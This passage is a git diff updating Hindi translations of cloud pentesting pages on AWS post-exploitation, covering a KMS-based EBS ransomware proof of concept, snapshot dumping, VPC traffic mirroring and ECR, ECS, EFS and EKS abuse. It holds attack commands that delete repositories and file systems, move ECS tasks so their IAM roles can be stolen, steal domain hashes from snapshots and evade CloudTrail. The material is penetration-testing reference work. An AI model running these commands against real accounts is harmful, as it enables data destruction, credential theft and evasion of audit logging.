पाएंगे कि आप वॉल्यूम को अटैच कर सकते हैं। +एक पल रुकें ताकि नए सेट किए गए की नीति का प्रचार हो सके। फिर 'पीड़ित' खाते पर लौटें और नए एन्क्रिप्टेड EBS वॉल्यूम में से एक को अटैच करने का प्रयास करें। आप पाएंगे कि आप वॉल्यूम को अटैच कर सकते हैं। ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -लेकिन जब आप एन्क्रिप्टेड EBS वॉल्यूम के साथ EC2 इंस्टेंस को फिर से शुरू करने का प्रयास करते हैं, तो यह बस विफल हो जाएगा और 'पेंडिंग' स्थिति से 'रुका हुआ' स्थिति में हमेशा के लिए वापस चला जाएगा क्योंकि अटैच किया गया EBS वॉल्यूम कुंजी का उपयोग करके डिक्रिप्ट नहीं किया जा सकता क्योंकि कुंजी नीति अब इसकी अनुमति नहीं देती। +लेकिन जब आप एन्क्रिप्टेड EBS वॉल्यूम के साथ EC2 इंस्टेंस को फिर से शुरू करने का प्रयास करते हैं, तो यह बस विफल हो जाएगा और 'pending' स्थिति से 'stopped' स्थिति में हमेशा के लिए वापस चला जाएगा क्योंकि अटैच किया गया EBS वॉल्यूम की नीति के अनुसार डिक्रिप्ट नहीं किया जा सकता है। ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -यह वह पायथन स्क्रिप्ट है जिसका उपयोग किया गया है। यह 'पीड़ित' खाते के लिए AWS क्रेड्स और एन्क्रिप्शन के लिए उपयोग की जाने वाली कुंजी के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN मान लेता है। यह स्क्रिप्ट लक्षित AWS खाते में सभी EC2 इंस्टेंस से जुड़े सभी उपलब्ध EBS वॉल्यूम के एन्क्रिप्टेड कॉपी बनाएगी, फिर हर EC2 इंस्टेंस को रोक देगी, मूल EBS वॉल्यूम को अटैच से हटा देगी, उन्हें हटा देगी, और अंततः प्रक्रिया के दौरान उपयोग किए गए सभी स्नैपशॉट को हटा देगी। इससे लक्षित 'पीड़ित' खाते में केवल एन्क्रिप्टेड EBS वॉल्यूम रह जाएंगे। इस स्क्रिप्ट का उपयोग केवल परीक्षण वातावरण में करें, यह विनाशकारी है और सभी मूल EBS वॉल्यूम को हटा देगा। आप उपयोग की गई KMS कुंजी का उपयोग करके उन्हें पुनर्प्राप्त कर सकते हैं और स्नैपशॉट के माध्यम से उन्हें उनके मूल स्थिति में बहाल कर सकते हैं, लेकिन मैं आपको यह बताना चाहता था कि यह अंततः एक रैनसमवेयर PoC है। +यह वह पायथन स्क्रिप्ट है जिसका उपयोग किया गया है। यह 'पीड़ित' खाते के लिए AWS क्रेडेंशियल्स और एन्क्रिप्शन के लिए उपयोग की जाने वाली की के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN मान लेता है। यह स्क्रिप्ट लक्षित AWS खाते में सभी EC2 इंस्टेंस से जुड़े सभी उपलब्ध EBS वॉल्यूम की एन्क्रिप्टेड कॉपी बनाएगी, फिर हर EC2 इंस्टेंस को रोक देगी, मूल EBS वॉल्यूम को अटैच से हटा देगी, उन्हें हटा देगी, और अंततः प्रक्रिया के दौरान उपयोग किए गए सभी स्नैपशॉट को हटा देगी। इससे लक्षित 'पीड़ित' खाते में केवल एन्क्रिप्टेड EBS वॉल्यूम रह जाएंगे। इस स्क्रिप्ट का उपयोग केवल परीक्षण वातावरण में करें, यह विनाशकारी है और सभी मूल EBS वॉल्यूम को हटा देगा। आप उपयोग किए गए KMS की का उपयोग करके उन्हें पुनर्प्राप्त कर सकते हैं और स्नैपशॉट के माध्यम से उन्हें उनके मूल स्थिति में बहाल कर सकते हैं, लेकिन आपको यह बताना चाहता हूं कि यह अंततः एक रैनसमवेयर PoC है। ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 660eff229..742b9c2e7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -32,7 +32,7 @@ make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` > [!CAUTION] -> **नोट** कि `dsnap` आपको सार्वजनिक स्नैपशॉट डाउनलोड करने की अनुमति नहीं देगा। इससे बचने के लिए, आप स्नैपशॉट की एक प्रति अपने व्यक्तिगत खाते में बना सकते हैं, और उसे डाउनलोड कर सकते हैं: +> **नोट** कि `dsnap` आपको सार्वजनिक स्नैपशॉट डाउनलोड करने की अनुमति नहीं देगा। इसे बायपास करने के लिए, आप स्नैपशॉट की एक प्रति अपने व्यक्तिगत खाते में बना सकते हैं, और उसे डाउनलोड कर सकते हैं: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -56,20 +56,20 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps ``` **इसे आपके नियंत्रण में एक EC2 VM में माउंट करें** (यह बैकअप की कॉपी के समान क्षेत्र में होना चाहिए): -चरण 1: EC2 –> वॉल्यूम पर जाकर आपके पसंद के आकार और प्रकार का एक नया वॉल्यूम बनाया जाना है। +चरण 1: आपके पसंदीदा आकार और प्रकार का एक नया वॉल्यूम EC2 –> वॉल्यूम्स पर जाकर बनाया जाना है। इस क्रिया को करने के लिए, इन कमांड का पालन करें: - EC2 इंस्टेंस से जोड़ने के लिए एक EBS वॉल्यूम बनाएं। - सुनिश्चित करें कि EBS वॉल्यूम और इंस्टेंस एक ही जोन में हैं। -चरण 2: बनाए गए वॉल्यूम पर राइट-क्लिक करके "जोड़ें वॉल्यूम" विकल्प का चयन किया जाना है। +चरण 2: बनाए गए वॉल्यूम पर राइट-क्लिक करके "अटैच वॉल्यूम" विकल्प का चयन किया जाना है। चरण 3: इंस्टेंस टेक्स्ट बॉक्स से इंस्टेंस का चयन किया जाना है। इस क्रिया को करने के लिए, निम्नलिखित कमांड का उपयोग करें: -- EBS वॉल्यूम को जोड़ें। +- EBS वॉल्यूम को अटैच करें। चरण 4: EC2 इंस्टेंस में लॉगिन करें और कमांड `lsblk` का उपयोग करके उपलब्ध डिस्क की सूची बनाएं। @@ -89,7 +89,7 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps इस क्रिया को करने के लिए, निम्नलिखित कमांड का उपयोग करें: -- `/newvolume` में डायरेक्टरी बदलें। +- डायरेक्टरी को `/newvolume` में बदलें। - कमांड `df -h .` का उपयोग करके डिस्क स्पेस की जांच करें। इस कमांड का आउटपुट "newvolume" डायरेक्टरी में फ्री स्पेस दिखाना चाहिए। आप इसे Pacu के साथ `ebs__explore_snapshots` मॉड्यूल का उपयोग करके कर सकते हैं। @@ -122,9 +122,9 @@ ls /mnt ``` ## Shadow Copy -कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे इंस्टेंस पर माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए निर्यात कर सकता है। +कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे इंस्टेंस पर माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए उपयोग करने के लिए निर्यात कर सकता है। -आप इस उपकरण का उपयोग हमले को स्वचालित करने के लिए कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं। +आप इस हमले को स्वचालित करने के लिए इस उपकरण का उपयोग कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं। ## References diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index 1ff14b96f..a428fc92c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -4,7 +4,7 @@ **Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** -क्लाउड वातावरण में पैसिव नेटवर्क निरीक्षण **चुनौतीपूर्ण** रहा है, जिसके लिए नेटवर्क ट्रैफ़िक की निगरानी के लिए प्रमुख कॉन्फ़िगरेशन परिवर्तनों की आवश्यकता होती है। हालाँकि, AWS द्वारा “**VPC ट्रैफ़िक मिररिंग**” नामक एक नई सुविधा पेश की गई है जो इस प्रक्रिया को सरल बनाती है। VPC ट्रैफ़िक मिररिंग के साथ, VPCs के भीतर नेटवर्क ट्रैफ़िक को बिना किसी सॉफ़्टवेयर को इंस्टेंस पर स्थापित किए **डुप्लिकेट** किया जा सकता है। यह डुप्लिकेट किया गया ट्रैफ़िक नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) के लिए **विश्लेषण** के लिए भेजा जा सकता है। +क्लाउड वातावरण में पैसिव नेटवर्क निरीक्षण **चुनौतीपूर्ण** रहा है, जिसके लिए नेटवर्क ट्रैफ़िक की निगरानी के लिए प्रमुख कॉन्फ़िगरेशन परिवर्तनों की आवश्यकता होती है। हालाँकि, AWS द्वारा “**VPC ट्रैफ़िक मिररिंग**” नामक एक नई सुविधा पेश की गई है जिससे इस प्रक्रिया को सरल बनाया जा सके। VPC ट्रैफ़िक मिररिंग के साथ, VPCs के भीतर नेटवर्क ट्रैफ़िक को बिना किसी सॉफ़्टवेयर को इंस्टेंस पर स्थापित किए **डुप्लिकेट** किया जा सकता है। यह डुप्लिकेट किया गया ट्रैफ़िक नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) के लिए **विश्लेषण** के लिए भेजा जा सकता है। VPC ट्रैफ़िक को मिररिंग और एक्सफिल्ट्रेट करने के लिए आवश्यक बुनियादी ढांचे की **स्वचालित तैनाती** की आवश्यकता को संबोधित करने के लिए, हमने “**malmirror**” नामक एक प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट विकसित की है। इस स्क्रिप्ट का उपयोग **समझौता किए गए AWS क्रेडेंशियल्स** के साथ लक्षित VPC में सभी समर्थित EC2 इंस्टेंस के लिए मिररिंग सेट करने के लिए किया जा सकता है। यह ध्यान रखना महत्वपूर्ण है कि VPC ट्रैफ़िक मिररिंग केवल AWS नाइट्रो सिस्टम द्वारा संचालित EC2 इंस्टेंस द्वारा समर्थित है, और VPC मिरर लक्ष्य को मिरर किए गए होस्ट के समान VPC के भीतर होना चाहिए। diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index bf329508d..41c8547f6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - ECR Post Exploitation +# AWS - ECR पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} @@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -इमेज डाउनलोड करने के बाद आपको **संवेदनशील जानकारी के लिए उन्हें जांचना चाहिए**: +छवियों को डाउनलोड करने के बाद आपको **संवेदनशील जानकारी के लिए उनकी जांच करनी चाहिए**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -इनमें से किसी भी अनुमति के साथ एक हमलावर **सभी इमेज को हटाने के लिए एक जीवनचक्र नीति बना या संशोधित कर सकता है** और फिर **पूरे ECR रिपॉजिटरी को हटा सकता है**। इसके परिणामस्वरूप रिपॉजिटरी में संग्रहीत सभी कंटेनर इमेज का नुकसान होगा। +इनमें से किसी भी अनुमति के साथ एक हमलावर **सभी छवियों को हटाने के लिए एक जीवनचक्र नीति बना या संशोधित कर सकता है** और फिर **पूरे ECR रिपॉजिटरी को हटा सकता है**। इसके परिणामस्वरूप रिपॉजिटरी में संग्रहीत सभी कंटेनर छवियों का नुकसान होगा। ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index f84808d9d..09856af9c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -10,7 +10,7 @@ ../aws-services/aws-ecs-enum.md {{#endref}} -### होस्ट IAM भूमिकाएँ +### Host IAM Roles ECS में एक **IAM भूमिका को कंटेनर के अंदर चल रहे कार्य** को सौंपा जा सकता है। **यदि** कार्य एक **EC2** उदाहरण के अंदर चलाया जाता है, तो **EC2 उदाहरण** के साथ **एक और IAM** भूमिका जुड़ी होगी।\ जिसका मतलब है कि यदि आप एक ECS उदाहरण को **समझौता** करने में सफल होते हैं, तो आप संभावित रूप से **ECR और EC2 उदाहरण से संबंधित IAM भूमिका प्राप्त कर सकते हैं**। उन क्रेडेंशियल्स को प्राप्त करने के तरीके के बारे में अधिक जानकारी के लिए देखें: @@ -20,25 +20,25 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou {{#endref}} > [!CAUTION] -> ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेज़ों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **हॉप सीमा 1** होगी, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा तक पहुंचना असंभव हो जाएगा। +> ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेज़ों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **hop limit 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा तक पहुंचना असंभव हो जाएगा। -### अन्य कंटेनरों के क्रेड्स और रहस्यों को चुराने के लिए नोड पर प्रिवेस्क +### Privesc to node to steal other containers creds & secrets -लेकिन इसके अलावा, EC2 ECs कार्यों को चलाने के लिए डॉकर का उपयोग करता है, इसलिए यदि आप नोड पर भागने में सक्षम हैं या **डॉकर सॉकेट तक पहुंच** प्राप्त कर सकते हैं, तो आप **चेक** कर सकते हैं कि **कौन से अन्य कंटेनर** चल रहे हैं, और यहां तक कि **उनमें प्रवेश कर सकते हैं** और **उनकी IAM भूमिकाएँ** चुरा सकते हैं। +लेकिन इसके अलावा, EC2 ECs कार्यों को चलाने के लिए डॉकर का उपयोग करता है, इसलिए यदि आप नोड पर भागने में सक्षम हैं या **डॉकर सॉकेट तक पहुंच** प्राप्त कर सकते हैं, तो आप **चेक** कर सकते हैं कि **अन्य कंटेनर** कौन से चल रहे हैं, और यहां तक कि **उनमें प्रवेश कर सकते हैं** और **उनकी IAM भूमिकाएँ** चुरा सकते हैं। -#### वर्तमान होस्ट में कंटेनरों को चलाना +#### Making containers run in current host -इसके अलावा, **EC2 उदाहरण की भूमिका** आमतौर पर क्लस्टर के अंदर नोड के रूप में उपयोग किए जा रहे EC2 उदाहरणों की **कंटेनर उदाहरण स्थिति** को **अपडेट** करने के लिए पर्याप्त **अनुमतियाँ** रखेगी। एक हमलावर **DRAINING** के लिए एक उदाहरण की **स्थिति को संशोधित** कर सकता है, फिर ECS **इससे सभी कार्यों को हटा देगा** और जो **REPLICA** के रूप में चल रहे हैं, उन्हें **एक अलग उदाहरण में चलाया जाएगा,** संभावित रूप से **हमलावर के उदाहरण** के अंदर ताकि वह **उनकी IAM भूमिकाएँ** और संभावित संवेदनशील जानकारी को कंटेनर के अंदर से **चुरा सके।** +इसके अलावा, **EC2 उदाहरण की भूमिका** आमतौर पर **क्लस्टर के अंदर नोड्स के रूप में उपयोग किए जा रहे EC2 उदाहरणों** की **कंटेनर उदाहरण स्थिति** को **अपडेट** करने के लिए पर्याप्त **अनुमतियाँ** रखेगी। एक हमलावर **DRAINING** के लिए एक उदाहरण की **स्थिति को संशोधित** कर सकता है, फिर ECS **इससे सभी कार्यों को हटा देगा** और जो **REPLICA** के रूप में चल रहे हैं, वे **एक अलग उदाहरण में चलेंगे,** संभावित रूप से **हमलावर के उदाहरण के अंदर** ताकि वह **उनकी IAM भूमिकाएँ** और संभावित संवेदनशील जानकारी को कंटेनर के अंदर से **चुरा सके।** ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -यह वही तकनीक है जिसे **क्लस्टर से EC2 इंस्टेंस को डीरजिस्टर करके** किया जा सकता है। यह संभावित रूप से कम छिपा हुआ है लेकिन यह **अन्य इंस्टेंस में कार्यों को चलाने के लिए मजबूर करेगा:** +यहां तक कि **क्लस्टर से EC2 इंस्टेंस को डीरजिस्टर करके** वही तकनीक की जा सकती है। यह संभावित रूप से कम छिपी हुई है लेकिन यह **अन्य इंस्टेंस में कार्यों को चलाने के लिए मजबूर करेगा:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -एक अंतिम तकनीक कार्यों को फिर से निष्पादित करने के लिए ECS को यह संकेत देना है कि **कार्य या कंटेनर बंद हो गया**। इसे करने के लिए 3 संभावित APIs हैं: +एक अंतिम तकनीक कार्यों को फिर से निष्पादित करने के लिए ECS को यह संकेत देना है कि **कार्य या कंटेनर बंद हो गया**। ऐसा करने के लिए 3 संभावित APIs हैं: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ @@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ... ``` ### ECR कंटेनरों से संवेदनशील जानकारी चुराना -EC2 उदाहरण के पास शायद `ecr:GetAuthorizationToken` अनुमति होगी, जिससे यह **छवियों को डाउनलोड** कर सकेगा (आप इनमें संवेदनशील जानकारी के लिए खोज कर सकते हैं)। +EC2 उदाहरण के पास संभवतः `ecr:GetAuthorizationToken` अनुमति होगी, जिससे इसे **छवियाँ डाउनलोड** करने की अनुमति मिलेगी (आप इनमें संवेदनशील जानकारी के लिए खोज कर सकते हैं)। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index d32730d08..eab80582a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -16,7 +16,7 @@ ```sql aws efs delete-mount-target --mount-target-id ``` -**संभावित प्रभाव**: फ़ाइल प्रणाली तक पहुँच में बाधा और उपयोगकर्ताओं या अनुप्रयोगों के लिए संभावित डेटा हानि। +**संभावित प्रभाव**: फ़ाइल प्रणाली की पहुँच में बाधा और उपयोगकर्ताओं या अनुप्रयोगों के लिए संभावित डेटा हानि। ### `elasticfilesystem:DeleteFileSystem` @@ -28,7 +28,7 @@ aws efs delete-file-system --file-system-id ### `elasticfilesystem:UpdateFileSystem` -एक हमलावर EFS फ़ाइल सिस्टम की विशेषताओं को अपडेट कर सकता है, जैसे थ्रूपुट मोड, ताकि इसके प्रदर्शन पर प्रभाव पड़े या संसाधन समाप्ति का कारण बने। +एक हमलावर EFS फ़ाइल सिस्टम की विशेषताओं को अपडेट कर सकता है, जैसे थ्रूपुट मोड, जिससे इसके प्रदर्शन पर प्रभाव पड़ सकता है या संसाधन समाप्ति का कारण बन सकता है। ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 0e27e49d8..b76bc211c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - EKS Post Exploitation +# AWS - EKS पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ ### AWS कंसोल से क्लस्टर की गणना करें -यदि आपके पास अनुमति **`eks:AccessKubernetesApi`** है, तो आप AWS EKS कंसोल के माध्यम से **Kubernetes ऑब्जेक्ट्स** को **देख** सकते हैं ([अधिक जानें](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))। +यदि आपके पास अनुमति **`eks:AccessKubernetesApi`** है, तो आप AWS EKS कंसोल के माध्यम से **Kubernetes ऑब्जेक्ट्स** को **देख** सकते हैं ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). ### AWS Kubernetes क्लस्टर से कनेक्ट करें @@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev ``` - इतना आसान तरीका नहीं: -यदि आप **`aws eks get-token --name `** के साथ **एक टोकन प्राप्त कर सकते हैं** लेकिन आपके पास क्लस्टर जानकारी (describeCluster) प्राप्त करने की अनुमति नहीं है, तो आप **अपना खुद का `~/.kube/config` तैयार कर सकते हैं**। हालांकि, टोकन होने पर, आपको **जुड़ने के लिए url endpoint की आवश्यकता है** (यदि आप एक पॉड से JWT टोकन प्राप्त करने में सफल रहे [यहाँ पढ़ें](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) और **क्लस्टर का नाम**। +यदि आप **`aws eks get-token --name `** के साथ **एक टोकन प्राप्त कर सकते हैं** लेकिन आपके पास क्लस्टर जानकारी (describeCluster) प्राप्त करने की अनुमति नहीं है, तो आप **अपना खुद का `~/.kube/config` तैयार कर सकते हैं**। हालांकि, टोकन होने पर, आपको **जुड़ने के लिए url endpoint की आवश्यकता है** (यदि आप किसी पॉड से JWT टोकन प्राप्त करने में सफल रहे हैं तो [यहाँ पढ़ें](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) और **क्लस्टर का नाम**। मेरे मामले में, मैंने CloudWatch लॉग में जानकारी नहीं पाई, लेकिन मैंने **LaunchTemplates userData** में और **EC2 मशीनों में userData में भी** इसे पाया। आप इस जानकारी को **userData** में आसानी से देख सकते हैं, उदाहरण के लिए अगले उदाहरण में (क्लस्टर का नाम cluster-name था): ```bash @@ -72,16 +72,16 @@ provideClusterInfo: false ### AWS से Kubernetes तक -**EKS क्लस्टर** का **निर्माता** **हमेशा** समूह के kubernetes क्लस्टर भाग **`system:masters`** (k8s admin) में प्रवेश प्राप्त कर सकेगा। इस लेख के समय पर **क्लस्टर को बनाने वाले** को **खोजने का कोई सीधा तरीका** नहीं है (आप CloudTrail की जांच कर सकते हैं)। और उस **अधिकार** को **हटाने** का **कोई तरीका** नहीं है। +**EKS क्लस्टर** का **निर्माता** **हमेशा** समूह **`system:masters`** (k8s प्रशासन) के kubernetes क्लस्टर भाग में प्रवेश प्राप्त कर सकेगा। इस लेख के समय **क्लस्टर को बनाने वाले** **कोई सीधा तरीका** नहीं है (आप CloudTrail की जांच कर सकते हैं)। और उस **अधिकार** को **हटाने** का **कोई तरीका** नहीं है। -**AWS IAM उपयोगकर्ताओं या भूमिकाओं** को K8s पर **अधिक पहुँच देने** का तरीका **configmap** **`aws-auth`** का उपयोग करना है। +**K8s पर अधिक AWS IAM उपयोगकर्ताओं या भूमिकाओं को पहुँच प्रदान करने** का तरीका **configmap** **`aws-auth`** का उपयोग करना है। > [!WARNING] > इसलिए, config map **`aws-auth`** पर **लिखने की पहुँच** रखने वाला कोई भी व्यक्ति **पूरे क्लस्टर को समझौता** कर सकेगा। -**IAM भूमिकाओं और उपयोगकर्ताओं** को **एक ही या विभिन्न खाते** में **अतिरिक्त अधिकार** देने के तरीके और इसे **दुरुपयोग** करने के लिए [**privesc इस पृष्ठ की जांच करें**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)। +**IAM भूमिकाओं और उपयोगकर्ताओं** को **एक ही या विभिन्न खाते** में **अतिरिक्त अधिकार** प्रदान करने के बारे में अधिक जानकारी के लिए और इसे **दुरुपयोग** करने के लिए [**privesc इस पृष्ठ की जांच करें**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)। -यहाँ पर भी[ **यह शानदार**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **पोस्ट देखें कि IAM -> Kubernetes प्रमाणीकरण कैसे काम करता है**। +यहाँ भी[ **यह अद्भुत**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **पोस्ट देखें कि IAM -> Kubernetes प्रमाणीकरण कैसे काम करता है**। ### Kubernetes से AWS तक @@ -89,18 +89,16 @@ provideClusterInfo: false ### JWT टोकन से GET Api सर्वर एंडपॉइंट -JWT टोकन को डिकोड करने पर हमें क्लस्टर आईडी और क्षेत्र मिलता है। ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) यह जानकर कि EKS URL का मानक प्रारूप है +JWT टोकन को डिकोड करने पर हमें क्लस्टर आईडी और क्षेत्र भी मिलता है। ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) यह जानते हुए कि EKS URL का मानक प्रारूप है ```bash https://...eks.amazonaws.com ``` -```markdown -'दो अक्षर' और 'संख्या' के लिए मानदंडों को समझाने वाली कोई दस्तावेज़ीकरण नहीं मिली। लेकिन अपनी ओर से कुछ परीक्षण करते समय मैंने इनमें से कुछ को बार-बार देखा: +कोई दस्तावेज़ नहीं मिला जो 'दो अक्षरों' और 'संख्या' के लिए मानदंडों को समझाए। लेकिन मैंने अपनी ओर से कुछ परीक्षण किए और ये दो बार दिखाई दिए: - gr7 - yl4 -वैसे भी, ये सिर्फ 3 अक्षर हैं, हम इन्हें ब्रूटफोर्स कर सकते हैं। सूची उत्पन्न करने के लिए नीचे दिए गए स्क्रिप्ट का उपयोग करें। -``` +वैसे, ये सिर्फ 3 अक्षर हैं, हम इन्हें ब्रूटफोर्स कर सकते हैं। सूची बनाने के लिए नीचे दिए गए स्क्रिप्ट का उपयोग करें। ```python from itertools import product from string import ascii_lowercase @@ -125,7 +123,7 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### CloudTrail को बायपास करें -यदि एक हमलावर **EKS पर अनुमति** के साथ AWS के क्रेडेंशियल्स प्राप्त करता है। यदि हमलावर अपने **`kubeconfig`** को कॉन्फ़िगर करता है (बिना **`update-kubeconfig`** को कॉल किए) जैसा कि पहले समझाया गया है, तो **`get-token`** Cloudtrail में लॉग उत्पन्न नहीं करता है क्योंकि यह AWS API के साथ इंटरैक्ट नहीं करता (यह केवल स्थानीय रूप से टोकन बनाता है)। +यदि एक हमलावर के पास **EKS पर अनुमति** के साथ AWS के क्रेडेंशियल्स हैं। यदि हमलावर अपने **`kubeconfig`** को कॉन्फ़िगर करता है (बिना **`update-kubeconfig`** को कॉल किए) जैसा कि पहले समझाया गया है, तो **`get-token`** Cloudtrail में लॉग उत्पन्न नहीं करता क्योंकि यह AWS API के साथ इंटरैक्ट नहीं करता (यह केवल स्थानीय रूप से टोकन बनाता है)। तो जब हमलावर EKS क्लस्टर के 